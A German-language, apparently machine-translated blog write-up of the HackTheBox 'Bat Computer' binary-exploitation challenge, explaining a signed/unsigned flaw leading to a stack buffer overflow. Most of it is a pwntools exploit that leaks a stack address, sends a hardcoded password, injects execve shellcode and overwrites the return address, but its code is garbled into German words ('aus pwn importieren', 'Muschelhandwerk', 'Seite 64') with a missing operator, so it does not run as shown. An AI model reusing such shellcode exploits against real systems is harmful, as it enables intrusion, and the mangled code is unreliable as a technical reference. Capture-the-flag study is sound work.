Wir haben ein Szenario mit Pufferüberlauf behandelt, bei dem eine Variable als vorzeichenlose Ganzzahl deklariert und dann in die Funktion ulong umgewandelt wurde. Dadurch konnten wir '-1' als Eingabe an diese Variable senden, was den Programmausführungsfluss in eine if-Anweisung umleitete, die einen Ausschnitt enthielt, in dem eine Namensvariable mit 96 Bytes eine uneingeschränkte Eingabe vom Benutzer akzeptierte, was zu einem Segmentierungsfehler führte. Wir berechneten den Offset mithilfe von pwndbg mit Python und erstellten den endgültigen Exploit. Dies war Teil von HackTheBox Bat Computer | Einführung in die binäre Ausnutzung

Hinweise zu Pufferüberlauftechniken

Der Exploit-Code ist unten

##Anfang

aus pwn importieren *

Kontext.binär = ELF('./batcomputer')

con = Fernbedienung(‘157.245.39.76’,31662)

Mit.Sendeleitung(‘1’)

Mit.zurückrufen('0x')

Stapelbasis = int((„0x“+con.Empfang().dekodieren('lateinisch-1').Teilt()[0]),16)

Protokoll.Erfolg(F'Stapelbasis: {verhexen(Stapelbasis)})

Mit.Sendeleitung(‘2’)

Mit.Sendeleitung(„b4tp@$$w0rd!“)

Nutzlast = asm(Muschelhandwerk.papa() + Muschelhandwerk.Sch()) #-Shellcode

Nutzlast += B'A'*(84 len(Nutzlast)) # nein

Nutzlast += Seite 64(Stapelbasis) # Stapelbasis

Mit.Sendeleitung(Nutzlast)

Mit.Sendeleitung(‘3’)

Mit.interaktiv()

##Ende

Video-Komplettlösung

Über den Autor

Ich erstelle Notizen zur Cybersicherheit, Notizen zum digitalen Marketing und Online-Kurse. Ich biete auch Beratung zum digitalen Marketing an, einschließlich, aber nicht beschränkt auf SEO, Google- und Meta-Anzeigen und CRM-Verwaltung.

Artikel anzeigen